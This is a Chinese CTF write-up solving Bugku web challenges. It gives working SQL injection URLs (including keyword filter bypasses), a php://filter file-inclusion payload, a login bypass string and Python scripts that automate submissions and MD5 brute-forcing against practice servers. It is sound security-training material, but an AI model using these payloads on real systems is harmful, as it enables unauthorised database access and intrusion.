CTF_论剑场 Web WriteUp(持续更新)

web1

在这里插入图片描述
利用的是变量覆盖漏洞
http://www.mamicode.com/info-detail-2314166.html
payload:http://123.206.31.85:10001/?a=&c=aaaaa

web9

题干:在这里插入图片描述
要求你PUT一串信息"bugku" 才能获得flag

先打开 burpsuite抓包
在这里插入图片描述
Send to Repeater
在这里插入图片描述
把这里GET改成PUT 然后下边写要传的参数即可
在这里插入图片描述
会获得一个base64 转码之后就是flag了

流量分析

再第一个tcp流里面就能找到flag了
在这里插入图片描述

web2

在这里插入图片描述
每次刷新的式子不一样 人算并且提交基本不可能
所以就要用到python了
撸脚本:

import requests
import re
url = 'http://123.206.31.85:10002/'
s = requests.session()
html = s.get(url).text
html = html[82:]
nums = re.search('</p>',html).start()
html = html[:nums]
data = {'result':eval(html)}
result = s.post(url,data)
print(result.text)

用正则提取里边的式子 然后eval计算出答案后post提交即可
得到结果:<p>flag{b37d6bdd7bb132c7c7f6072cd318697c}</p>

web5

在这里插入图片描述
题干提示注入
先测试有几个字段

不报错 http://47.95.208.167:10005/?mod=read&id=1 order by 4
报错 http://47.95.208.167:10005/?mod=read&id=1 order by 5
所以有4个字段
爆数据库:http://47.95.208.167:10005/?mod=read&id=0 union select 1,database(),3,4
得到web5
在这里插入图片描述
爆表:http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='web5'
得到flag,posts,users
在这里插入图片描述
直接爆flag吧

爆字段 http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'
在这里插入图片描述
爆字段值http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(flag),3,4 from flag

得到flag
在这里插入图片描述

web6

在这里插入图片描述
先尝试登陆一下 说要本地登陆 于是拿bp抓包 改请求头
在这里插入图片描述
返回之后显示密码账号不对 于是找了一会儿 发现网页最下边有一段注释掉的base64
在这里插入图片描述
转码后发现是test123 可能是密码 猜测一下账号为admin 于是再登陆试试看
在这里插入图片描述
成功得到flag

web11

进去后发现页面是这样的在这里插入图片描述
提示了有robots.txt 于是去瞄一眼
在这里插入图片描述
发现有个shell.php页面
在这里插入图片描述
要求某个值的MD5值的前6位为89240b
写个py脚本碰撞一下试试看

import hashlib

def get_token(txt):
    m1 = hashlib.md5()
    m1.update(txt.encode("utf-8"))
    token = m1.hexdigest()
    return token
for i in range(0,99999999999):
    if get_token(str(i))[0:6] == '89240b':
        print(i)
        break

得到结果 50124(因为每次给的前六位md5值不一样 所以这里的答案也不一样)
提交后得到flag

web13

在这里插入图片描述
发现一个提交页面 一开始也没啥思绪
试了一会儿发现抓包后响应头有个password字段
在这里插入图片描述
base64转码后发现
flag{69939c8d3f9a7114471c528d6c19c952}
尝试提交后并不对……
试了一会儿后发现 去掉flag{}
输入到输入框里
在这里插入图片描述

你能做的更快一点吗?你花费了xxxx毫秒

于是要我们快的话 就用python写个脚本提交了(而且这里password字段的值每次还不一样)

import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
s = requests.session()
html=s.get(url)
psw = html.headers['Password']
ans = base64.b64decode(psw)
data = {'password':str(ans)[7:39]}
res = s.post(url,data)
print(res.text)

这里先获得页面请求头里边password字段的值
然后用base64转码
再post回去
就可以获得flag了
得到的答案:
在这里插入图片描述

日志审计

在这里插入图片描述直接搜索flag字符串 然后发现 一大串的注入痕迹
观察了发现最后一位的数值不同 猜测可能是ascii 转成 字符就行了
于是把这一串字符串先粘贴到一个记事本里
在这里插入图片描述

import re
f = open("shenhe.txt")             
line = 1             
while line:
    line = f.readline()
    if line!='':
        left = re.search('%3D',line).end()
        right = re.search('--',line).start()
        print(chr(int(line[left:right])),end='')
f.close()

然后用正则获得最后的ascii的值并且转换成字符然后输出
在这里插入图片描述

web18

注入题
在这里插入图片描述
先测试单引号
http://123.206.31.85:10018/list.php?id=1' 报错(指的是内容不显示 )
加上注释
http://123.206.31.85:10018/list.php?id=1'--+ 不报错
说明这样是可以注入成功的
然后试着测了一下字段数

http://123.206.31.85:10018/list.php?id=1'union select 1,2,3--+ 报错
结果测试到1-10都报错
然后跑了一下
http://123.206.31.85:10018/list.php?id=1'union--+ 不报错
发现关键字被过滤
然后试了一下 发现 union、select、or、and都被过滤了(有些可能没测)
这里可以用双写关键字绕过
http://123.206.31.85:10018/list.php?id=1'ununionion selecselectt 1,2,3--+ 发现字段数是3
爆数据库

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,database(),3--+ 

得到web18
爆表

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'web18'--+

注意information里的or也要双写
得到 ctf,flag
爆字段

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'flag'--+

获得id,flag
爆字段值

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(flag),3 from flag--+

获得flag
在这里插入图片描述

web20

在这里插入图片描述
这里有个动态密文 先尝试刷新的以下 发现一秒内的除了最后一位,动态密文是相同的
猜测是md5(时间戳)+一位随机数

然后写一段脚本提交就好了

import time
import hashlib
import requests
import random

def get_token(src):
    md5str = src
    m1 = hashlib.md5()
    m1.update(md5str.encode("utf-8"))
    token = m1.hexdigest()
    return token
s = requests.session()
urllen = 160
while urllen==160:
    url = 'http://123.206.31.85:10020/?key=' + str(get_token(str(int(time.time()+1)))) + str(random.randint(0, 9))
    html = s.get(url).text
    urllen = len(html)
    print(url)
print(html)

urllen的作用是判断页面的text是否为160 因为如果没有flag出现的话 页面大小就是160
然后跑脚本的时候发现动态密文的值是md5(时间戳+1)+一位随机数值(ps:这个搞了我好久 我还以为脚本写错了)(PPS:时间戳要+1是因为是这台电脑系统时间慢一秒 一般不用加1 多谢评论区的大佬指出~)
最后得出flag
在这里插入图片描述

web25

这题一开始完全没头绪 试了好久没反应
那个下载页面是404
在这里插入图片描述
一开始我还以为是zidian和ziidan弄反了
还有обть
在这里插入图片描述
被这个也误导了很久

下面是解题思路
在这里插入图片描述
先扫描目录 发现有个shell.php
在这里插入图片描述
这个才是真正的填写页面
然后那个下载页面要把/2去掉

http://123.206.31.85:10025/ziidan.txt

然后把字典里的字符串一个个试 就能试出flag了
(完全不知道这题在考什么????)

web3

在这里插入图片描述

一开始以为是文件上传题 在尝试绕过上传无果后 发现url在这里插入图片描述
可能是文件包含漏洞
https://www.cnblogs.com/iamstudy/articles/include_file.html

payload:http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag

web4

登录题
先注入测试 没有回显
然后尝试一下万能密码

账号:admin
密码:'or 1=1#
登录成功

获得flag

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值